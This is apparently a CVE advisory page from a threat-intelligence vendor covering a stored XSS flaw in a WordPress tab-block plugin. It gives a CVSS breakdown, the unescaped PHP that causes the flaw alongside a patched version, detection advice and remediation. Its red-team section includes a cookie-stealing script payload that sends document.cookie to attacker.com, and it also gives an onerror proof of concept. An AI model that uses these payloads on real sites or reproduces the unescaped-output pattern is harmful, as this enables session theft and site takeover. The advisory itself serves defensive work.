☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5754

CVE-2025-5754 Cross-Site Scripting in Useful tab block
📅 PUBLISHED: 2025-07-18 05:23 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5754 is a Stored Cross-Site Scripting (XSS) vulnerability in the Useful Tab Block – Responsive & AMP-Compatible WordPress plugin, affecting all versions up to and including 1.3.2. The flaw resides in the className parameter, which is insufficiently sanitized and escaped, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user accesses a page containing the malicious block, the injected script executes in the context of the victim’s browser.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is designed to provide responsive and AMP-compatible tab blocks for WordPress sites. The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the potential for widespread impact on sites using this plugin is significant.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be installed directly from the WordPress admin dashboard. The supply chain risk is moderate, as the plugin is maintained by a third-party vendor and may not receive timely security updates. Users should verify the plugin’s source and monitor for patches.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs Contributor-level access.
  • User Interaction (UI): Required – Victim must visit the injected page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Potential for data exfiltration.
  • Integrity (I): Low – Script injection can modify content.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means that once injected, the script persists and can affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the className parameter of the Useful Tab Block plugin. This parameter is used to add custom CSS classes to the tab block elements. The plugin fails to properly sanitize and escape user input before storing it in the database and rendering it in the frontend.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for the className parameter. This allows an attacker to inject HTML and JavaScript code that is stored in the WordPress database and executed when the block is rendered.

Attack Flow:

  1. An authenticated user with Contributor-level access creates or edits a post/page using the Useful Tab Block.
  2. The attacker sets the className parameter to a malicious payload, e.g., "><script>alert('XSS')</script>.
  3. The plugin stores this payload in the database without proper sanitization.
  4. When any user (including administrators) views the page, the payload is rendered in the HTML, executing the injected script.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim (e.g., creating admin accounts).

Vulnerable vs. Patched Code

Vulnerable Code (version 1.3.2):

// In the block render function
$className = $attributes['className'] ?? '';
// Output without escaping
echo '<div class="' . $className . '">';

Patched Code (hypothetical):

// Properly escape the className attribute
$className = esc_attr($attributes['className'] ?? '');
echo '<div class="' . $className . '">';

The patched version would use esc_attr() to escape the className value, preventing HTML injection. Additionally, the plugin should validate that the input contains only valid CSS class names (e.g., alphanumeric and hyphens).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the Useful Tab Block plugin version <= 1.3.2.
  • An account with Contributor-level access or higher.

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new post or edit an existing one.
  3. Add the Useful Tab Block to the editor.
  4. In the block settings, locate the className field.
  5. Inject a payload such as:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Save and publish the post.
  7. When an administrator or other user views the post, the script executes, sending their cookies to the attacker.

Proof of Concept (PoC) Code:

<!-- Payload for className field -->
"><img src=x onerror=alert('XSS')>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress logs for unusual block edits by Contributor-level users.
  • Use a Web Application Firewall (WAF) to block common XSS payloads in the className parameter.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Hardening:

  • Restrict Contributor-level access to trusted users only.
  • Disable the plugin until a patch is available.
  • Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/useful-tab-block/useful-tab-block.php (version 1.3.2 or earlier)
  • Database: Posts/pages containing the wp:useful-tab-block block with suspicious className values.
  • Network: Outbound requests to attacker-controlled domains from the WordPress server.
  • Logs: WordPress audit logs showing block edits with unusual className values.

Detection Engineering

YARA Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Sigma Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Suricata Rule

🔒 DETECTION RULE — API ACCESS REQUIRED

The full machine-readable detection artifact (Sigma, YARA, Suricata, Elastic, Splunk or Wazuh rule body) is available through the ValtersIT API — moved there in response to large-scale automated scraping, to keep this independently-researched intelligence sustainable. The written analysis on every record remains fully open.

[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review and clean any posts/pages that may contain malicious className values.
  3. Change all passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

  • The vendor should release a patched version (e.g., 1.3.3) that properly escapes the className parameter using esc_attr() and validates input.
  • Users should update to the latest version as soon as it becomes available.

Workarounds:

  • Implement a WAF rule to block requests containing <script or onerror in the className parameter.
  • Use a security plugin to monitor and block XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 2 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5754/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.